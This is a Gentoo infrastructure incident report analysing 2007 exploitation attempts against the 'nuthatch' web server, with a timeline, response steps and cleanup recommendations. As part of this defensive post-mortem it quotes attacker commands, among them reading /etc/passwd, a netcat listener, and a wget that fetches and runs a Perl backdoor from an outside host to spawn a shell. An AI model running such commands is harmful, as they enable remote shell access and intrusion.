Analysis and Timeline of the Nuthatch exploitation attempts
Nuthatch hosted a number of non-critical, informative-only web services. It was
not used for any development or distribution services. A very limited number of
developers had access to the machine, and rarely used it.
packages - Browsable index of packages in the Portage tree.
archives - Archives of the Gentoo mailing lists.
packagestest, archivestest - Test installations of packages and archives,
for testing new code and features.
scripts - Gentoo Script Repository (GLEP15), defunct.
kiss - Kernel Advisory Management tool, defunct.
stats - Gentoo Statistics project, defunct.
survey - Gentoo User Survey, defunct.
Log of all usages of the exploit: apache-log-extract.txt
August 1, 2007
The first user to discover/use the exploit was from 65.81.XXX.XXX, at
01/Aug/2007 15h56 UTC. He ran uname -a and cat /etc/passwd,
then stops, his IP is not seen again.
At 19h36 UTC, the exploit becomes known to a wider group. Either this or
the initial discovery took place at DEFCON.
The next 15 minutes have 18 further usages of the exploit (two of which
bear further examination), after which the usage drops extremely
There are 7 further attempts on August 1st, the last being at 22h32
Including the initial discovery, 9 unique IP addresses have hit the
exploit on the first day, 27 total attempts. 13 of these attempts are
cat /etc/passwd. A full breakdown is given at commands.txt
August 6, 2007
No further attempts to use the exploit are made until 06/Aug/2007 21h10
UTC. The IP used did also hit the exploit on the first day. It seems like
it is demonstrated to somebody else, because 6 minutes later, somebody
uses a near identical URL string (on the seamonkey package) for the
(Assumption: the exploit filters through Gentoo at this point. Nobody
else uses it).
The Gentoo bug #187971 is opened for the issue on 07/Aug/2007 02h59
At 03h17 one further unknown attempt to use the exploit is made, running
df. This may have been a Gentoo developer, based on IRC logs of
#gentoo-dev at the time.
At 03h20 UTC, Gentoo infra becomes aware of the exploit, and tests it
once by running echo EXPLETIVE-DELETED.
Apache on the machine is taken offline.
Initial data capture of relevant memory contents and volatile machine
Machine is halted.
Approximately 04h10 UTC marineam happens to be on-hand at OSL, and reboots the machine
to a livecd. MANY thanks to marineam for this insanely good response
time, and here's a plug for the OSL
kingtaco and robbat2 take an image of the hard drive.
The bug now gets left along for the next several days, as the majority of
the infra team is attending (and later recovering from) LWE.
August 13, 2007
- Serious analysis on the image begins.
Focus on specific attempts
Two of the attempts bear further commenting.
Code Listing 4.1: Attempt 1
nc -l -p 9876
This is blocked by the ingress firewall. Default DENY rule wins.
Code Listing 4.2: Attempt 2
wget -O /var/tmp/foo.pl http://www.regimesyndicate.org/interrupt/foo.pl && perl /var/tmp/foo.pl yourhost listeningport
This had potential. If the script kiddy that ran this one (obstensibly from
24.227.XXX.XXX) actually had even two brain cells to rub together, he could
have gotten a lot further. Instead, he failed in two ways. Firstly, the
backdoor he was trying to fetch was already gone. It is available elsewhere
via Google, and is a trivial perl listener that spawns /bin/sh. Secondly, he
forgot to specify his outgoing destination host and port.
Summary of exploit usage
While Infra is reasonable certain that no attacker successfully executed more
than a few harmless commands, the potential remains for the machine to have
been seriously exploited.
Partially lucking out
Between the time of the first exploit usage, and the exploit becoming known to
Infra, no Gentoo developer logged in with SSH, nor had a long-running shell
open. This means that no user could have had their SSH keys compromised if they
had their SSH agent forwarded to the machine.
However, this analysis was needlessly complicated by the fact that Gentoo's
remote logging setup did not seem to be logging all traffic correctly. If it
had been working correctly, a higher degree of certainty, and more information
could have been obtained.
The following has been undertaken to clean up.
The machine has been wiped for a clean install.
Almost all services have been restored.
The packages code has had the original issue fixed, but remains offline
pending a full audit.
All 20 users with local accounts on the machine should change their
passwords as a precautionary measure. Any user that had only an LDAP
account was not affected.
Remote logging of external facing services should be verified
Consider detailed traffic accounting with a package such as IPaudit (leave
the GUI out), to aid later analysis.
Custom code should be reviewed by the security team before wide usage,
esp. on critical machines.
Robin H. Johnson (robbat2) - Doing this analysis and writeup
Michael Marineau (marineam) - Rebooting to a livecd.
Tavis Ormandy (taviso) - Help in some analysis pointers and extra things to check.
David Rude (bannedit0) - (65.196.XXX.XXX in the logs) Reporting the
exploit to the Gentoo Bugzilla.